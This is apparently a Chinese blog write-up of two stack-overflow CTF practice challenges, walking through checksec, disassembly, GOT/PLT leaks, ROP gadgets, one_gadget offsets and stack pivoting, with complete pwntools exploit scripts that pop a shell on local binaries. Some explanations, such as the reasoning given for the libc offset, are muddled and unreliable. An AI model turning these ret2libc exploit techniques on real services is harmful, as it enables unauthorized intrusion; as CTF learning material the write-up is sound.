堆栈解题练习二

解题准备知识:

查询通解的思路:
1.同一个模块内,代码段和数据段之间的距离确定,不受随机化影响
2.同一动态库内,每个函数在动态库内部的偏移量是确定的
3.只要泄露出动态库中某个函数的地址,就可以知道该函数在动态库中的偏移。
4.不同动态库中相同函数的偏移量是不同的,那就可以通过这个泄露的偏移量确定该程序使用的动态库的版本。
5.计算出动态库的基址:动态库的基址=泄露的函数的地址 - 该函数在动态库中的偏移量
6.计算出system函数的地址:system函数的地址= 动态库的基址 + system函数在动态库中的偏移量
7.找到 /bin/sh 这个字符串的所在位置,一般动态库里有这个字符串
8.如果没有这个字符串就使用能写入的函数,将这个字符串读写到可写入的区域,这就需要构造ROP链,pop pop pop ret 。
参考博文:https://blog.csdn.net/qq_43394612/article/details/85323020

首先检测程序开启的保护

hu@ubuntu:~/Desktop/stack over$ checksec pwn3
[*] '/home/hu/Desktop/stack over/pwn3'
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

可以看出,源程序为 64 位,开启了 NX和ASLR 保护。

利用 IDA 来查看源码

int __cdecl main(int argc, const char **argv, const char **envp)
{
 char buf; // [rsp+0h] [rbp-40h]
 puts("Welcome to the stack training_3");
 puts("Now play your game: ");
 read(0, &buf, 0x150uLL);
 return 0;
 }

可以看到 buf 这个字符串数组只有0x40的大小,但是却可以 read 0x150个字节,多出来的 0x150-0x80 就会造成溢出.
因为程序中没有可以直接利用的代码,也不能自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell

首先绕过ASLR(地址随机化),泄露出libc的基址libc_base,然后利用构造ROP链绕过NX,这两步要在一次运行完成,不然因为地址随机化的缘故,在下一次运行时libc基址又将改变。

查看共享库:
在这里插入图片描述
运行三次,每次加载位置都不同,即不可通过简单的ldd命令查看共享库将libc的加载地址给获取。
把libc.so.6复制到当前目录下,可见它偏移量:

   hu@ubuntu:~/Desktop/stackstack$ one_gadget libc.so.6
   0x45216 execve("/bin/sh", rsp+0x30, environ)
   constraints: rax == NULL
   0x4526a execve("/bin/sh", rsp+0x30, environ)
   constraints: [rsp+0x30] == NULL
   0xf02a4 execve("/bin/sh", rsp+0x50, environ)
   constraints: [rsp+0x50] == NULL
   0xf1147 execve("/bin/sh", rsp+0x70, environ)
   constraints: [rsp+0x70] == NULL

在IDA中可以找到main函数入口地址为:

.text:0000000000400566 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000400566                 public main
.text:0000000000400566 main            proc near               ; DATA XREF: _start+1D↑o
.text:0000000000400566
.text:0000000000400566
.text:0000000000400566 buf             = byte ptr -40h
.text:0000000000400566
.text:0000000000400566 ; __unwind {
.text:0000000000400566                 push    rbp
.text:0000000000400567                 mov     rbp, rsp
.text:000000000040056A                 sub     rsp, 40h
.text:000000000040056E                 mov     edi, offset aWelcomeToTheSt ; "Welcome to the stack training_3"
.text:0000000000400573                 call    _puts
.text:0000000000400578                 mov     edi, offset aNowPlayYourGam ; "Now play your game: "
.text:000000000040057D                 call    _puts
.text:0000000000400582                 lea     rax, [rbp+buf]
.text:0000000000400586                 mov     edx, 150h       ; nbytes
.text:000000000040058B                 mov     rsi, rax        ; buf
.text:000000000040058E                 mov     edi, 0          ; fd
.text:0000000000400593                 call    _read
.text:0000000000400598                 mov     eax, 0
.text:000000000040059D                 leave
.text:000000000040059E                 retn
.text:000000000040059E ; } // starts at 400566
.text:000000000040059E main            endp

put与read在got表中的地址为:

.got.plt:0000000000601018 off_601018      dq offset puts          ; DATA XREF: _puts↑r
.got.plt:0000000000601020 off_601020      dq offset read          ; DATA XREF: _read↑r

put在plt表中的地址为:

  .plt:0000000000400430 ; int puts(const char *s)
  .plt:0000000000400430 _puts           proc near               ; CODE XREF: main+D↓p
  .plt:0000000000400430                                         ; main+17↓p
  .plt:0000000000400430                 jmp     cs:off_601018
  .plt:0000000000400430 _puts           endp
  .plt:0000000000400430

有关got与plt表:在链接库内定位到所需的函数
程序对外部函数的调用需要在生成可执行文件时将外部函数链接到程序中,链接的方式分为静态链接和动态链接。静态链接得到的可执行文件包含外部函数的全部代码,动态链接得到的可执行文件并不包含外部函数的代码,而是在运行时将动态链接库(若干外部函数的集合)加载到内存的某个位置,再在发生调用时去链接库定位所需的函数。

PLT 全称是程序链接表(Procedure Linkage Table),用来存储外部函数的入口点(entry),程序总会到 PLT 寻找外部函数的地址,PLT 存储在代码段(Code Segment)内,在运行之前就已经确定并且不会被修改,所以 PLT 并不会知道程序运行时动态链接库被加载的确切位置。PLT 表内存储 GOT 表中对应条目的地址。
GOT 全称是全局偏移量表(Global Offset Table),用来存储外部函数在内存的确切地址。GOT 存储在数据段(Data Segment)内,可以在程序运行中被修改。

GOT 表的初始值都指向 PLT 表对应条目中的某个片段,这个片段的作用是调用一个函数地址解析函数。当程序需要调用某个外部函数时,首先到 PLT 表内寻找对应的入口点,跳转到 GOT 表中。如果这是第一次调用这个函数,程序会通过 GOT 表再次跳转回 PLT 表,运行地址解析程序来确定函数的确切地址,并用其覆盖掉 GOT 表的初始值,之后再执行函数调用。当再次调用这个函数时,程序仍然首先通过 PLT 表跳转到 GOT 表,此时 GOT 表已经存有获取函数的内存地址,所以会直接跳转到函数所在地址执行函数。

把got[‘puts’]的值通过plt[‘puts’]函数打印出来,实际上就是泄露出了puts函数的实际运行地址值。

本题中,call 0x400430
就说明 puts在 PLT 表中的入口点是在 0x400430,所以 0x400430处存储的就是 GOT 表中 puts 的条目地址。

使用 gadgets控制寄存器的值

我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。

使用 ropgadgets 这个工具寻找 gadgets :

hu@ubuntu:~/Desktop/stackstack$ ROPgadget --binary pwn3 --only 'pop|ret'
0x00000000004005fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005fe : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400600 : pop r14 ; pop r15 ; ret
0x0000000000400602 : pop r15 ; ret
0x00000000004005fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005ff : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004004d0 : pop rbp ; ret
0x0000000000400603 : pop rdi ; ret
0x0000000000400601 : pop rsi ; pop r15 ; ret
0x00000000004005fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400419 : ret
Unique gadgets found: 11

64位程序默认调用函数的方式则不同
RDI 中存放第1个参数,RSI 中存放第2个参数,RDX 中存放第3个参数
RCX 中存放第4个参数,R8 中存放第5个参数,R9 中存放第6个参数
如果还有更多的参数,再把过多那几个的参数像32位程序一样压入栈中,然后 call
所以选择

   0x0000000000400603 : pop rdi ; ret

ROP ( Return Oriented Programming ):即面向返回地址编程,其主要思想是在栈缓冲区溢出的基础上,通过利用程序中已有的小片段(gadgets)来改变某些寄存器或者变量的值,从而改变程序的执行流程,达到预期利用目的。(一般这个gadgets是返回地址,只有返回地址是可以我们随意操作的!)

在内存中确定某段指令的地址,并用其覆盖返回地址并定位到内存地址,因为有时目标操作并没有特定的函数可以完美适配。所以在内存中寻找多个指令片段,拼凑出一系列操作来达成目的。

查看内存指令:vmmap,溢出位置填充数据构造格式:
payload : padding + address of gadget 1 + address of gadget 2 + …… +address of gadget n

被调用函数返回时会跳转执行 gadget 1,执行完毕时 gadget 1 的 RET 指令会将此时的栈顶数据(即gadget 2 的地址)弹出至 eip,程序继续跳转执行 gadget 2,以此类推。
思路参考博文:https://www.jianshu.com/p/a25ecc4268a5

所以本文rop链构造应为:

  pay1 = 'a'*0x48+p64(pop_rdi)+p64(got_put)+p64(put_plt)+p64(main)

撰写exp如下:

from pwn import *                                                  #导入pwntools模块
p = process("./pwn3")                                              #调试本地文件
 #r = remote('exploitme.example.com', 31337)   建立远程连接,url或者ip作为地址,然后指明端口
context(os='linux',arch='amd64',log_level='debug')                 #设置目标机的信息
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

gdb.attach(p,"b *0x4005BC")
got_put = 0x601018
put_plt = 0x400430
read_got=0x601020
main = 0x400566
pop_rdi = 0x400603 

pay1 = 'a'*0x48+p64(pop_rdi)+p64(got_put)+p64(put_plt)+p64(main)
#数据打包,即将整数值转换为32位或者64位地址的表示方式,比如0x400010表示为\x10\x00\x40
p.sendlineafter("Now play your game: ",pay1)
put_add = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) 
print "puadd:"+hex(put_add)              #16进制
base = put_add-0x6f690               #lib库基址
print "basdd:"+hex(base)
one = base  +  0xf02a4                #0x4526a # #0xf1147 0x45216#第二个gadget
pay1 = 'a'*0x48+p64(one)
p.sendlineafter("Now play your game: ",pay1)
p.interactive()                                                     #将控制权交给用户,即可使用打开的shell

对其中几行的详细解释:

context是pwntools用来设置环境的功能。在很多时候,由于二进制文件的情况不同,我们可能需要进行一些环境设置才能够正常运行exp,比如有一些需要进行汇编,但是32的汇编和64的汇编不同,如果不设置context会导致一些问题。
这句话的意思是:

  1. os设置系统为linux系统,在完成ctf题目的时候,大多数pwn题目的系统都是linux
  2. arch设置架构为amd64,可以简单的认为设置为64位的模式,对应的32位模式是’i386’
  3. log_level设置日志输出的等级为debug,这句话在调试的时候一般会设置,这样pwntools会将完整的io过程都打印下来,使得调试更加方便,可以避免在完成CTF题目时出现一些和IO相关的错误。

参考原文链接:https://blog.csdn.net/qq_29343201/article/details/51337025

获得lib库基址注意事项:
在读到 \x7f 之后截止,再获取前面的6字节,原因是虽然在64位计算机中,一个地址的长度是8字节,但是实际上的计算机内存只有16G内存以下,所以一般的地址空间只是用了不到 2^48 的地址空间。因此实际的操作系统中,一个地址的最高位的两个字节是00,而且实际栈地址一般是0x7fxxxx开头的,因此为了避免获取错误的地址值,只需要获取前面的6字节值,然后通过ljust函数把最高位的两字节填充成00。 我们还可以用这种一般的写法:u64(p.recv(6).ljust(8, “\x00”))

为什么这行代码的最后要地址值要减去0x6f690呢? “栈地址” 和“栈保存的值”的区别,因为这里的stack要获取的实际上是buf开始的时候的地址位置是什么,此处泄露的又是rbp处的值,实际上是栈内保存的地址,即函数执行之前的rbp寄存器值,而不是现在的rbp寄存器值。

参考博文链接:https://www.jianshu.com/p/c53627895330

我们需要 两个gadgets,第一个控制程序读取字符串,第二个控制程序执行 system("/bin/sh")
system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。采用 got 表泄露,即输出put函数对应的 got 表项的内容,得到 libc 中的put函数的地址。这样就可以确定该程序利用的 libc,进而我们就可以知道 system 函数的地址。
泄露 __libc_start_main 地址,获取 libc 版本,获取 system 地址与 /bin/sh 的地址,再次执行源程序,触发栈溢出执行 system(‘/bin/sh’)。

泄露出libc之后,函数会接着ret回0x400420执行,这个实际就是sub_400420的地址。即函数最开始的地方,紧接着又会继续进行后面的操作。

  .got.plt:0000000000601018 off_601018      dq offset puts          ; DATA XREF: _puts↑r
  .got.plt:0000000000601020 off_601020      dq offset read          ; DATA XREF: _read↑r
  .got.plt:0000000000601028 off_601028      dq offset __libc_start_main

思路参考:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/#_6。

运行exp

在这里插入图片描述
已将控制权交给用户,利用成功!

  pwndbg> whoami
  hu

常用思路:首先通过溢出返回至PLT表中,调用具有输出功能的函数(常用puts/write/printf)将GOT表中的真实libc函数地址打印出来,从而分析libc基地址。然后返回至漏洞函数二次触发溢出,此时便采取正常利用思路获得shell。


解题五

查看文件属性及其保护机制

hu@ubuntu:~/Desktop/stackstack$ file pwn5
pwn5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=ad0a66c7e31bd49d2a5c2203d6bb467d1c0d2020, not stripped
hu@ubuntu:~/Desktop/stackstack$ checksec pwn5
[*] '/home/hu/Desktop/stackstack/pwn5'
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

可以看出,源程序为 64 位,开启了 NX 保护。

了解到新知识:
+ASLR的开启无法通过checksec来检测,他的开启与系统有关。
+ASLR只针对动态库基址的中间位数进行随机化,后三位并不会变。
+ASLR不会随机化本身程序的基址。
+在不开启PIE的情况下,可以使用ret2libc来绕过NX和ASLR保护。

可通过命令确定是否开启:

  hu@ubuntu:~/Desktop/stackstack$ cat  /proc/sys/kernel/randomize_va_space
  2

0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。

**总解题思路:**首先绕过ASLR(地址随机化),泄露出libc的基址libc_base,然后利用构造ROP链绕过NX,这两步要在一次运行完成,不然因为地址随机化的缘故,在下一次运行时libc基址又将改变。
完成libc基址泄露,并使漏洞可以利用两次操作与第三题相同。

链接:https://www.jianshu.com/p/728f2ef139ae

接下来利用 IDA 来查看源码

  int __cdecl main(int argc, const char **argv, const char **envp)
  {
  char buf; // [rsp+0h] [rbp-40h]
  puts("Welcome to the stack training_5");
  puts("I will give you some challenge: ");
  read(0, &s, 0x500uLL);
  puts("Now play your game: ");
  read(0, &buf, 0x50uLL);
  return 0;
  }

很明显,再read()函数中存在栈溢出漏洞,因为,buf的大小为0x40,但是它读入0x50的数据。但是我们通过栈溢出能控制的大小只有0x50-0x40 = 0x10 (16个字节),所以我们构造的rop链不能太长,因此我们要一步步将栈劫持到不同的地方。

栈迁移主要就是为了解决栈溢出可以溢出空间大小不足的问题
主要用的就是利用 leave;ret; 这样的gadgets
leave 相当于mov ebp,esp ;pop ebp
ret 相当于pop eip
栈迁移原理参考链接:https://www.cnblogs.com/yichen115/p/12450517.html

解题思路:

1.通过劫持ebp和esp将栈劫持到bss段

2.利用puts函数泄露libc内存空间信息,得到system函数在内存中的地址 ,顺便将栈劫持到另一个地方

3通过read函数读入"/bin/sh"字符串 然后返回调用system函数getshell

 hu@ubuntu:~/Desktop/stackstack$ ldd pwn5
linux-vdso.so.1 =>  (0x00007ffc914a6000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0cad84e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0cadc18000)

可以知道,程序执行过程中使用libc.so.6,于是我们可以得到相应的offset如下:
在这里插入图片描述

获取puts_plt和puts_got方法:
方法一:命令行
readelf -r pwn5
gdb中使用:info func
方法二:在IDA-pro中查看.plt段内容和.plt.got段内容
puts函数在got表中的地址:

.plt:0000000000400430 ; int puts(const char *s)
.plt:0000000000400430 _puts           proc near               ; CODE XREF: main+D↓p
.plt:0000000000400430                                         ; main+17↓p ...
.plt:0000000000400430                 jmp     cs:off_601018
.plt:0000000000400430 _puts           endp

puts及其他函数在got表中地址:

 .got.plt:0000000000601000 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
 .got.plt:0000000000601008 qword_601008    dq 0                    ; DATA XREF: sub_400420↑r
 .got.plt:0000000000601010 qword_601010    dq 0                    ; DATA XREF: sub_400420+6↑r
 .got.plt:0000000000601018 off_601018      dq offset puts          ; DATA XREF: _puts↑r
 .got.plt:0000000000601020 off_601020      dq offset read          ; DATA XREF: _read↑r
 .got.plt:0000000000601028 off_601028      dq offset __libc_start_main
 .got.plt:0000000000601028                                         ; DATA XREF: ___libc_start_main↑r
 .got.plt:0000000000601028 _got_plt        ends

查system与lib库基址的偏移量: 有了第三题的铺垫,感觉思路顺多了。。。。

       one_gadget ./libc.so.6

在这里插入图片描述

利用puts函数泄漏libc地址,可以得到libc_base_addres,得到system函数在内存中的地址。上述两个操作无法在16bytes内完成,于是需要在可读写、可执行的bss段进行构造,也就是说需要进行栈迁移。

这就利用到pop ebp, ret, 并且利用read函数的写入功能,将执行地址写入到数据段,然后栈迁移到数据段(pop ebp; ret), 再利用 leave; ret p64(pop ebp;ret) + p64(buf - 4) + p64(leave; ret) 这样进行栈迁移.从而将ebp修改到数据段bss;同时将希望执行的exp指令写入到数据段中,在数据段构造函数栈。
思路参考博文:https://blog.csdn.net/lee_ham/article/details/81986906

查看IDA,该二进制文件中存在可用的read()函数,并且有可用的leave;ret
这里值得注意的是0x400566这行中的buf是-40h;也就是从fd中读取bytes到[ebp-40h]

在这里插入图片描述
获取gadgets:(第一次没找到正确的方法,指令写得不正确,鼓捣了好久都没查询成功。杯桑。把各种各样的指令都试了一遍,奈何它给的帮助全都不对,整蒙圈了。最终睡着了,,,第二天一问师傅,额,一句话就解决了。。。。纪念一下这句指令。。。)
在这里插入图片描述
构造rop链:

payload='a'*0x100+p64(buf)+p64(pop_rdi)+p64(got_put)+p64(put_plt)+p64(main)
payload1='a'*0x40+p64(buf)+p64(leave)
p.sendlineafter("I will give you some challenge: ",payload)
p.sendlineafter("Now play your game: ",payload1)

在没构造rop链泄漏地址并迁移时,栈结构为:
在这里插入图片描述
上面那个接收的错误地址其实就是栈溢出能控制的大小只有 0x10 (16个字节),我填充的一串字符没有特殊含义,导致程序不能正常返回而出错。

最终发送之后栈的结构为:
在这里插入图片描述
可以看出,通过puts函数泄露了libc的内存信息,函数执行完后会将buf pop给ebp 然后在leave_ret处会将 ebp的值赋给esp,这样程序的栈就被劫持到buf了。程序继续执行。
得到这些我们第一利用就可以得到libc基址libc_base,第二次只要绕过NX就可以了

泄露出libc之后,获取 system 地址与 /bin/sh 的地址,,函数会接着ret回再次执行源程序,触发栈溢出执行 system(‘/bin/sh’),紧接着又会继续进行后面的操作。

exp如下:

from pwn import*
p=process('./pwn5')
elf=ELF('pwn5')       #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux',arch='amd64',log_level='debug')
got_put = 0x601018
put_plt = 0x400430
main = 0x400566
buf = 0x601060+0x100
pop_rdi = 0x400623
leave = 0x4005bb
#gdb.attach(p,"b *0x4005B6")
payload='a'*0x100+p64(buf)+p64(pop_rdi)+p64(got_put)+p64(put_plt)+p64(main)
payload1='a'*0x40+p64(buf)+p64(leave)
p.sendlineafter("I will give you some challenge: ",payload)
p.sendlineafter("Now play your game: ",payload1)
put_add = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) 
base = put_add-0x6f690
one = base  + 0xf1147 #0x45216
payload1='a'*0x48+p64(one)
p.sendlineafter("Now play your game: ",payload1)
print "onedd:"+hex(one)
p.interactive()

执行后,最终程序把控制权交给了用户,输入whoami,返回当前用户名,输入ls,返回当前目录下的文件,均未报错,得到可产生交互的shell,完成!

傻傻分不清之shell和root,
Root,也称为根用户,root用户是系统中唯一的超级管理员,它具有等同于操作系统的权限。因其可对根目录执行读写和执行操作而得名。其具有系统中的最高权限,如启动或停止一个进程,删除或增加用户,增加或者禁用硬件,添加文件或删除所有文件等等。root比windows的系统管理员的能力更大,足以把整个系统的大部分文件删掉,导致系统完全毁坏,不能再次使用。
Shell,在计算机科学中,Shell俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(命令解析器)。它接收用户命令,然后调用相应的应用程序。
getshell,利用漏洞获取一定的服务器权限就是getshell,如果是web漏洞就叫webshell,还有别的shell,ftp、sql、3899、4899等等,一般来说这个shell权限很低,需要提权后才能获取服务器的管理员权限。

傻傻分不清之 RopGadget和One_gadget
两个用来寻找的ROP链的工具.

RopGadget主要是寻找可以供我们自由搭配的ret链。

One_gadget找到的是execve(执行文件)函数,execve() – 叫做执行程序函数,就像Python中的os.system(cmd)这个函数,可用来执行shell命令,或调用其他的程序。

int execve(const char *filename, char *const argv[], char *const envp[]);

execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。

参考博文链接:https://blog.csdn.net/chichoxian/article/details/53486131

发布了6 篇原创文章 · 获赞 7 · 访问量 284

猜你喜欢

转载自blog.csdn.net/weixin_44222568/article/details/105673380